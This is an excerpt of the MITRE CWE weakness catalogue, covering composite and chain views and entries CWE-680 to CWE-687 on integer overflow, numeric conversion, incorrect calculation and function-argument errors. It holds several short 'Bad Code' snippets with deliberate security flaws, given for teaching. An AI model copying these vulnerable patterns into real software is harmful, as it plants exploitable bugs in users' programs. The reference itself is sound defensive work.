B	791	Incomplete Filtering of Special Elements
B	795	Only Filtering Special Elements at a Specified Location
B	798	Use of Hard-coded Credentials
B	804	Guessable CAPTCHA
B	805	Buffer Access with Incorrect Length Value
B	807	Reliance on Untrusted Inputs in a Security Decision
B	820	Missing Synchronization
B	821	Incorrect Synchronization
B	822	Untrusted Pointer Dereference
B	823	Use of Out-of-range Pointer Offset
B	824	Access of Uninitialized Pointer
B	825	Expired Pointer Dereference
B	826	Premature Release of Resource During Expected Lifetime
B	827	Improper Control of Document Type Definition
B	828	Signal Handler with Functionality that is not Asynchronous-Safe
B	830	Inclusion of Web Functionality from an Untrusted Source
B	831	Signal Handler Function Associated with Multiple Signals
B	832	Unlock of a Resource that is not Locked
B	833	Deadlock
B	834	Excessive Iteration
B	835	Loop with Unreachable Exit Condition ('Infinite Loop')
B	836	Use of Password Hash Instead of Password for Authentication
B	837	Improper Enforcement of a Single, Unique Action
B	838	Inappropriate Encoding for Output Context
B	839	Numeric Range Comparison Without Minimum Check
B	841	Improper Enforcement of Behavioral Workflow
B	842	Placement of User into Incorrect Group
B	843	Access of Resource Using Incompatible Type ('Type Confusion')
B	908	Use of Uninitialized Resource
B	909	Missing Initialization of Resource
B	910	Use of Expired File Descriptor
B	911	Improper Update of Reference Count
B	914	Improper Control of Dynamically-Identified Variables
B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes



Type	ID	Name
B	916	Use of Password Hash With Insufficient Computational Effort
B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
B	918	Server-Side Request Forgery (SSRF)
B	920	Improper Restriction of Power Consumption
B	921	Storage of Sensitive Data in a Mechanism without Access Control
B	939	Improper Authorization in Handler for Custom URL Scheme
B	940	Improper Verification of Source of a Communication Channel
B	941	Incorrectly Specified Destination in a Communication Channel

## CWE-678: Composites

View ID: 678 (View: Graph)

Status: Draft

### Objective

This view (graph) displays only composite weaknesses.

### View Data

#### Filter Used:

//@Compound\_Element\_Structure='Composite'

#### View Metrics

	CWEs in this view		Total CWEs
Total	5	out of	1003
Views	0	out of	32
Categories	0	out of	244
Weaknesses	0	out of	719
Compound_Elements	5	out of	8

### CWEs Included in this View

Type	ID	Name
	61	UNIX Symbolic Link (Symlink) Following
	352	Cross-Site Request Forgery (CSRF)
	384	Session Fixation
	426	Untrusted Search Path
	689	Permission Race Condition During Resource Copy

## CWE-679: Chain Elements

View ID: 679 (View: Implicit Slice)

Status: Draft

### Objective

This view (slice) displays only weakness elements that are part of a chain.

### View Data




#### Filter Used:

(//Relationship\_Nature='CanPrecede') or (@ID = //Relationship\_Target\_ID[../Relationship\_Nature='CanPrecede'])

#### View Metrics

	CWEs in this view		Total CWEs
Total	127	out of	1003
Views	0	out of	32
Categories	1	out of	244
Weaknesses	126	out of	719
Compound_Elements	0	out of	8

### CWEs Included in this View

Type	ID	Name
	20	Improper Input Validation
	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
	33	Path Traversal: '...' (Multiple Dot)

Type	ID	Name
V	34	Path Traversal: '.../'
V	35	Path Traversal: '.../.../'
B	41	Improper Resolution of Path Equivalence
V	46	Path Equivalence: 'filename ' (Trailing Space)
V	52	Path Equivalence: '/multiple/trailing/slash/'
B	59	Improper Link Resolution Before File Access ('Link Following')
C	73	External Control of File Name or Path
C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')
C	94	Improper Control of Generation of Code ('Code Injection')
B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
B	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
C	116	Improper Encoding or Escaping of Output
B	117	Improper Output Neutralization for Logs
C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
B	123	Write-what-where Condition
B	124	Buffer Underwrite ('Buffer Underflow')
B	125	Out-of-bounds Read
V	126	Buffer Over-read
B	128	Wrap-around Error
B	129	Improper Validation of Array Index
V	130	Improper Handling of Length Parameter Inconsistency
B	131	Incorrect Calculation of Buffer Size
B	170	Improper Null Termination
C	171	Cleansing, Canonicalization, and Comparison Errors
C	172	Encoding Error
V	173	Improper Handling of Alternate Encoding
B	178	Improper Handling of Case Sensitivity
B	182	Collapse of Data into Unsafe Value
B	183	Permissive Whitelist
B	184	Incomplete Blacklist
C	185	Incorrect Regular Expression
B	187	Partial Comparison
B	190	Integer Overflow or Wraparound
B	193	Off-by-one Error
V	195	Signed to Unsigned Conversion Error
C	200	Information Exposure
B	208	Information Exposure Through Timing Discrepancy
B	209	Information Exposure Through an Error Message
V	219	Sensitive Data Under Web Root
V	231	Improper Handling of Extra Values
B	242	Use of Inherently Dangerous Function
V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')

Type	ID	Name
B	252	Unchecked Return Value
B	259	Use of Hard-coded Password
G	287	Improper Authentication
V	289	Authentication Bypass by Alternate Name
B	321	Use of Hard-coded Cryptographic Key
B	327	Use of a Broken or Risky Cryptographic Algorithm
V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action
G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
B	363	Race Condition Enabling Link Following
B	364	Signal Handler Race Condition
B	367	Time-of-check Time-of-use (TOCTOU) Race Condition
G	390	Detection of Error Condition Without Action
B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')
B	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')
B	406	Insufficient Control of Network Message Volume (Network Amplification)
B	410	Insufficient Resource Pool
V	415	Double Free
B	416	Use After Free
B	425	Direct Request ('Forced Browsing')
B	430	Deployment of Wrong Handler
B	431	Missing Handler
V	433	Unparsed Raw Web Content Delivery
B	434	Unrestricted Upload of File with Dangerous Type
G	441	Unintended Proxy or Intermediary ('Confused Deputy')
B	456	Missing Initialization of a Variable
V	457	Use of Uninitialized Variable
V	467	Use of sizeof() on a Pointer Type
B	471	Modification of Assumed-Immutable Data (MAID)
B	472	External Control of Assumed-Immutable Web Parameter
V	473	PHP External Variable Modification
B	476	NULL Pointer Dereference
V	479	Signal Handler Use of a Non-reentrant Function
V	481	Assigning instead of Comparing
V	488	Exposure of Data Element to Wrong Session
B	494	Download of Code Without Integrity Check
V	498	Cloneable Class Containing Sensitive Information
V	499	Serializable Class Containing Sensitive Data
B	562	Return of Stack Variable Address
B	567	Unsynchronized Access to Shared Data in a Multithreaded Context
V	590	Free of Memory not on the Heap
B	600	Uncaught Exception in Servlet
B	602	Client-Side Enforcement of Server-Side Security
B	606	Unchecked Input for Loop Condition
B	609	Double-Checked Locking
B	613	Insufficient Session Expiration
V	617	Reachable Assertion
B	621	Variable Extraction Error
B	656	Reliance on Security Through Obscurity
B	662	Improper Synchronization
G	668	Exposure of Resource to Wrong Sphere

Type	ID	Name
	669	Incorrect Resource Transfer Between Spheres
	672	Operation on a Resource after Expiration or Release
	681	Incorrect Conversion between Numeric Types
	682	Incorrect Calculation
	697	Insufficient Comparison
	756	Missing Custom Error Page
	772	Missing Release of Resource after Effective Lifetime
	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code
	782	Exposed IOCTL with Insufficient Access Control
	787	Out-of-bounds Write
	789	Uncontrolled Memory Allocation
	805	Buffer Access with Incorrect Length Value
	822	Untrusted Pointer Dereference
	823	Use of Out-of-range Pointer Offset
	824	Access of Uninitialized Pointer
	825	Expired Pointer Dereference
	826	Premature Release of Resource During Expected Lifetime
	827	Improper Control of Document Type Definition
	834	Excessive Iteration
	839	Numeric Range Comparison Without Minimum Check
	843	Access of Resource Using Incompatible Type ('Type Confusion')
	908	Use of Uninitialized Resource
	909	Missing Initialization of Resource
	911	Improper Update of Reference Count
	923	Improper Restriction of Communication Channel to Intended Endpoints
	941	Incorrectly Specified Destination in a Communication Channel

## CWE-680: Integer Overflow to Buffer Overflow

Compound Element ID: 680 (Compound Element Base: Chain)

Status: Draft

### Description

#### Summary

The product performs a calculation to determine how much memory to allocate, but an integer overflow can occur that causes less memory to be allocated than expected, leading to a buffer overflow.

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Availability

#### Confidentiality

#### Modify memory

#### DoS: crash / exit / restart

#### Execute unauthorized code or commands

### Relationships

Nature	Type	ID	Name			Page
ChildOf		20	Improper Input Validation	1000		18
StartsWith		190	Integer Overflow or Wraparound	709	680	361

### Relevant Properties

- Validity

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
8	Buffer Overflow in an API Call	
9	Buffer Overflow in Local Command-Line Utilities	
10	Buffer Overflow via Environment Variables	
14	Client-side Injection-induced Buffer Overflow	
24	Filter Failure through Buffer Overflow	
45	Buffer Overflow via Symbolic Links	
46	Overflow Variables and Tags	
47	Buffer Overflow via Parameter Expansion	
67	String Format Overflow in syslog()	
92	Forced Integer Overflow	
100	Overflow Buffers	

## CWE-681: Incorrect Conversion between Numeric Types

Weakness ID: 681 (Weakness Base)

Status: Draft

### Description

#### Summary

When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- Language-Independent

#### Common Consequences

##### Other

##### Integrity

##### Unexpected state

##### Quality degradation

The program could wind up using the wrong number and generate incorrect results. If the number is used to allocate resources or make a security decision, then this could introduce a vulnerability.

#### Likelihood of Exploit

Medium to High

#### Demonstrative Examples

##### Example 1:

In the following Java example, a float literal is cast to an integer, thus causing a loss of precision.

##### Java Example:

*Bad Code*

```
int i = (int) 33457.8f;
```

##### Example 2:

This code adds a float and an integer together, casting the result to an integer.

##### PHP Example:

*Bad Code*

```
$floatVal = 1.8345;
$intVal = 3;
$result = (int)$floatVal + $intVal;
```

Normally, PHP will preserve the precision of this operation, making `$result = 4.8345`. After the cast to `int`, it is reasonable to expect PHP to follow rounding convention and set `$result = 5`. However, the explicit cast to `int` always rounds DOWN, so the final value of `$result` is 4. This behavior may have unintended consequences.

##### Example 3:

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

**C Example:***Bad Code*

```
unsigned int readdata () {
    int amount = 0;
    ...
    if (result == ERROR)
        amount = -1;
    ...
    return amount;
}
```

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

**Example 4:**

In this example, depending on the return value of accessmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

**C Example:***Bad Code*

```
unsigned int readdata () {
    int amount = 0;
    ...
    amount = accessmainframe();
    ...
    return amount;
}
```

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

**Observed Examples**

Reference	Description
CVE-2007-4268	Chain: integer signedness passes signed comparison, leads to heap overflow
CVE-2007-4988	Chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow.
CVE-2008-3282	Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated.
CVE-2009-0231	Integer truncation of length value leads to heap-based buffer overflow.

**Potential Mitigations****Implementation**

Avoid making conversion between numeric types. Always check for the allowed ranges.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	136	Type Errors	<b>699</b>	284
ChildOf	<b>C</b>	189	Numeric Errors	699	360
CanPrecede	<b>G</b>	682	Incorrect Calculation	1000	1060
ChildOf	<b>G</b>	704	Incorrect Type Conversion or Cast	<b>1000</b>	1104
ChildOf	<b>C</b>	738	CERT C Secure Coding Section 04 - Integers (INT)	<b>734</b>	1132
ChildOf	<b>C</b>	739	CERT C Secure Coding Section 05 - Floating Point (FLP)	734	1132
ChildOf	<b>C</b>	808	2010 Top 25 - Weaknesses On the Cusp	<b>800</b>	1244
ChildOf	<b>C</b>	848	CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)	<b>844</b>	1292
ChildOf	<b>C</b>	867	2011 Top 25 - Weaknesses On the Cusp	<b>900</b>	1310
ChildOf	<b>C</b>	872	CERT C++ Secure Coding Section 04 - Integers (INT)	<b>868</b>	1313
ChildOf	<b>C</b>	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	1313
ChildOf	<b>C</b>	998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393
ParentOf	<b>C</b>	192	<i>Integer Coercion Error</i>	<b>1000</b>	368

Nature	Type	ID	Name	V	Page
ParentOf	B	194	Unexpected Sign Extension	699 1000	375
ParentOf	V	195	Signed to Unsigned Conversion Error	699 1000	377
ParentOf	V	196	Unsigned to Signed Conversion Error	699 1000	380
ParentOf	B	197	Numeric Truncation Error	699 1000	381
MemberOf	V	884	CWE Cross-section	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	FLP33-C	Convert integers to floating point for floating point operations
CERT C Secure Coding	FLP34-C	Ensure that floating point conversions are within range of the new type
CERT C Secure Coding	INT15-C	Use intmax_t or uintmax_t for formatted IO on programmer-defined integer types
CERT C Secure Coding	INT31-C	Ensure that integer conversions do not result in lost or misinterpreted data
CERT C Secure Coding	INT35-C	Evaluate integer expressions in a larger size before comparing or assigning to that size
CERT Java Secure Coding	NUM12-J	Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data
CERT C++ Secure Coding	INT15-CPP	Use intmax_t or uintmax_t for formatted IO on programmer-defined integer types
CERT C++ Secure Coding	INT31-CPP	Ensure that integer conversions do not result in lost or misinterpreted data
CERT C++ Secure Coding	INT35-CPP	Evaluate integer expressions in a larger size before comparing or assigning to that size
CERT C++ Secure Coding	FLP33-CPP	Convert integers to floating point for floating point operations
CERT C++ Secure Coding	FLP34-CPP	Ensure that floating point conversions are within range of the new type
Software Fault Patterns	SFP1	Glitch in computation

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Type Conversions", Page 223.. 1st Edition. Addison Wesley. 2006.

## CWE-682: Incorrect Calculation

Weakness ID: 682 (Weakness Class)

Status: Draft

### Description

#### Summary

The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.

#### Extended Description

When software performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All



## Common Consequences

### Availability

#### DoS: crash / exit / restart

If the incorrect calculation causes the program to move into an unexpected state, it may lead to a crash or impairment of service.

### Integrity

### Confidentiality

### Availability

#### DoS: crash / exit / restart

#### DoS: resource consumption (other)

#### Execute unauthorized code or commands

If the incorrect calculation is used in the context of resource allocation, it could lead to an out-of-bounds operation (CWE-119) leading to a crash or even arbitrary code execution. Alternatively, it may result in an integer overflow (CWE-190) and / or a resource consumption problem (CWE-400).

### Access Control

#### Gain privileges / assume identity

In the context of privilege or permissions assignment, an incorrect calculation can provide an attacker with access to sensitive resources.

### Access Control

#### Bypass protection mechanism

If the incorrect calculation leads to an insufficient comparison (CWE-697), it may compromise a protection mechanism such as a validation routine and allow an attacker to bypass the security-critical code.

## Likelihood of Exploit

High

## Detection Methods

### Manual Analysis

High

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

## Demonstrative Examples

### Example 1:

The following image processing code allocates a table for images.

#### C Example:

*Bad Code*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num\_imgs, however as num\_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num\_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

### Example 2:

This code attempts to calculate a football team's average number of yards gained per touchdown.

### Java Example:

Bad Code

```
...
int touchdowns = team.getTouchdowns();
int yardsGained = team.getTotalYardage();
System.out.println(team.getName() + " averages " + yardsGained / touchdowns + "yards gained for every touchdown
scored");
...
```

The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an `ArithmeticException` to be thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly.

### Example 3:

This example attempts to calculate the position of the second byte of a pointer.

### C Example:

Bad Code

```
int *p = x;
char * second_char = (char *) (p + 1);
```

In this example, `second_char` is intended to point to the second byte of `p`. But, adding 1 to `p` actually adds `sizeof(int)` to `p`, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

## Potential Mitigations

### Implementation

Understand your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation.

### Implementation

#### Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

### Implementation

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity.

## Architecture and Design

### Language Selection

#### Libraries or Frameworks

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences.

Examples include safe integer handling packages such as `SafeInt` (C++) or `IntegerLib` (C or C++).

### Implementation

#### Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

## Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

## Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

## Relationships

Nature	Type	ID	Name	CV	Page
CanPrecede	B	170	Improper Null Termination	1000	328
ChildOf	C	189	Numeric Errors	699	360
ChildOf	C	738	CERT C Secure Coding Section 04 - Integers (INT)	734	1132
ChildOf	C	739	CERT C Secure Coding Section 05 - Floating Point (FLP)	734	1132
ChildOf	C	752	2009 Top 25 - Risky Resource Management	750	1143
ChildOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1313
ChildOf	C	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	1313
ChildOf	C	977	SFP Secondary Cluster: Design	888	1382
ParentOf	B	128	<i>Wrap-around Error</i>	699 1000	257
ParentOf	B	131	<i>Incorrect Calculation of Buffer Size</i>	699 1000	269
ParentOf	B	135	<i>Incorrect Calculation of Multi-Byte String Length</i>	1000	282
ParentOf	B	190	<i>Integer Overflow or Wraparound</i>	699 1000	361
ParentOf	B	191	<i>Integer Underflow (Wrap or Wraparound)</i>	699 1000	367
ParentOf	C	192	<i>Integer Coercion Error</i>	699	368
ParentOf	B	193	<i>Off-by-one Error</i>	699 1000	371
ParentOf	B	369	<i>Divide By Zero</i>	699 1000	647
ParentOf	V	467	<i>Use of sizeof() on a Pointer Type</i>	1000	784
ParentOf	B	468	<i>Incorrect Pointer Scaling</i>	1000	786
ParentOf	B	469	<i>Use of Pointer Subtraction to Determine Size</i>	1000	788
CanFollow	B	681	<i>Incorrect Conversion between Numeric Types</i>	1000	1058
CanFollow	B	839	<i>Numeric Range Comparison Without Minimum Check</i>	1000	1279
MemberOf	V	1000	<i>Research Concepts</i>	1000	1402

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	FLP32-C	Prevent or detect domain and range errors in math functions
CERT C Secure Coding	FLP33-C	Convert integers to floating point for floating point operations
CERT C Secure Coding	INT07-C	Use only explicitly signed or unsigned char type for numeric values
CERT C Secure Coding	INT13-C	Use bitwise operators only on unsigned operands
CERT C++ Secure Coding	INT07-CPP	Use only explicitly signed or unsigned char type for numeric values
CERT C++ Secure Coding	INT10-CPP	Do not assume a positive remainder when using the % operator
CERT C++ Secure Coding	INT13-CPP	Use bitwise operators only on unsigned operands
CERT C++ Secure Coding	FLP32-CPP	Prevent or detect domain and range errors in math functions

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C++ Secure Coding	FLP33-CPP	Convert integers to floating point for floating point operations

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
124	Attack through Shared Data	
128	Integer Attacks	
129	Pointer Attack	

### References

[REF-18] David LeBlanc and Niels Dekker. "SafeInt". < <http://safeint.codeplex.com/> >.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 7: Integer Overflows." Page 119. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Signed Integer Boundaries", Page 220.. 1st Edition. Addison Wesley. 2006.

## CWE-683: Function Call With Incorrect Order of Arguments

Weakness ID: 683 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.

#### Extended Description

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers or types of arguments, such as format strings in C. It also can occur in languages or environments that do not enforce strong typing.

#### Time of Introduction

- Implementation

#### Modes of Introduction

This problem typically occurs when the programmer makes a typo, or copy and paste errors.

#### Common Consequences

##### Other

##### Quality degradation

#### Demonstrative Examples

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

#### PHP Example:

*Bad Code*

```
function authenticate($username, $password) {
    // authenticate user
    ...
}
authenticate($_POST['password'], $_POST['username']);
```

#### Observed Examples

Reference	Description
CVE-2006-7049	Application calls functions with arguments in the wrong order, allowing attacker to bypass intended access restrictions.

#### Potential Mitigations

##### Implementation

Use the function, procedure, or routine as specified.

**Testing**

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>B</b>	628	Function Call with Incorrectly Specified Arguments	<b>699</b>	977
ChildOf	<b>C</b>	998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393

**CWE-684: Incorrect Provision of Specified Functionality**

Weakness ID: 684 (Weakness Base)

Status: Draft

**Description****Summary**

The code does not function according to its published specifications, potentially leading to incorrect usage.

**Extended Description**

When providing functionality to an external party, it is important that the software behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.

**Time of Introduction**

- Implementation

**Common Consequences****Other****Quality degradation****Potential Mitigations****Implementation**

Ensure that your code strictly conforms to specifications.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>G</b>	227	Improper Fulfillment of API Contract ('API Abuse')	<b>699</b>	418
ChildOf	<b>C</b>	735	CERT C Secure Coding Section 01 - Preprocessor (PRE)	<b>734</b>	1131
ChildOf	<b>C</b>	1001	SFP Secondary Cluster: Use of an Improper API	<b>888</b>	1403
ParentOf	<b>B</b>	392	Missing Report of Error Condition	<b>1000</b>	677
ParentOf	<b>B</b>	393	Return of Wrong Status Code	<b>1000</b>	678
ParentOf	<b>B</b>	440	Expected Behavior Violation	<b>1000</b>	753
ParentOf	<b>B</b>	446	UI Discrepancy for Security Feature	<b>1000</b>	759
ParentOf	<b>B</b>	451	User Interface (UI) Misrepresentation of Critical Information	<b>1000</b>	763

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	PRE09-C	Do not replace secure functions with less secure functions

**CWE-685: Function Call With Incorrect Number of Arguments**

Weakness ID: 685 (Weakness Variant)

Status: Draft

**Description****Summary**

The software calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, which may lead to undefined behavior and resultant weaknesses.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- C
- Perl

**Modes of Introduction**

This problem typically occurs when the programmer makes a typo, or copy and paste errors.

**Common Consequences****Other****Quality degradation****Detection Methods****Other**

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in languages or environments that do not require that functions always be called with the correct number of arguments, such as Perl.



**Potential Mitigations****Testing**

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

**Weakness Ordinalities**

**Primary** (*where the weakness exists independent of other weaknesses*)

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		628	Function Call with Incorrectly Specified Arguments	<b>699</b>	977
ChildOf		998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP1	Glitch in computation

## CWE-686: Function Call With Incorrect Argument Type

**Weakness ID:** 686 (*Weakness Variant*)

**Status:** Draft

**Description****Summary**

The software calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses.

**Extended Description**

This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.

**Time of Introduction**

- Implementation

**Common Consequences**

**Other****Quality degradation****Potential Mitigations****Testing**

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	☑	Page
ChildOf	<b>B</b>	628	Function Call with Incorrectly Specified Arguments	<b>699</b> <b>1000</b>	977
ChildOf	<b>C</b>	736	CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)	<b>734</b>	1131
ChildOf	<b>C</b>	739	CERT C Secure Coding Section 05 - Floating Point (FLP)	734	1132
ChildOf	<b>C</b>	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	734	1133
ChildOf	<b>C</b>	743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	1135
ChildOf	<b>C</b>	748	CERT C Secure Coding Section 50 - POSIX (POS)	734	1137
ChildOf	<b>C</b>	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	1313
ChildOf	<b>C</b>	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	<b>868</b>	1314
ChildOf	<b>C</b>	998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	DCL35-C	Do not invoke a function using a type that does not match the function definition
CERT C Secure Coding	FIO00-C	Take care when creating format strings
CERT C Secure Coding	FLP31-C	Do not call functions expecting real values with complex values
CERT C Secure Coding	POS34-C	Do not call putenv() with a pointer to an automatic variable as the argument
CERT C Secure Coding	STR37-C	Arguments to character handling functions must be representable as an unsigned char
CERT C++ Secure Coding	FLP31-CPP	Do not call functions expecting real values with complex values
CERT C++ Secure Coding	STR37-CPP	Arguments to character handling functions must be representable as an unsigned char
Software Fault Patterns	SFP1	Glitch in computation

## CWE-687: Function Call With Incorrectly Specified Argument Value

**Weakness ID:** 687 (Weakness Variant)

**Status:** Draft

**Description****Summary**

The software calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses.

**Time of Introduction**

- Implementation

**Common Consequences**



**Other****Quality degradation****Detection Methods****Manual Static Analysis**

This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

**Demonstrative Examples**

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.






**Perl Example:***Bad Code*

```
sub ReportAuth {
    my ($username, $result, $fatal) = @_;
    PrintLog("auth: username=%s, result=%d", $username, $result);
    if (($result ne "success") && $fatal) {
        die "Failed!\n";
    }
}
sub PrivilegedFunc
{
    my $result = CheckAuth($username);
    ReportAuth($username, $result, 0);
    DoReallyImportantStuff();
}
```

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		628	Function Call with Incorrectly Specified Arguments	<b>699</b>	977
ChildOf		742	CERT C Secure Coding Section 08 - Memory Management (MEM)	<b>734</b>	1134
ChildOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<b>868</b>	1314
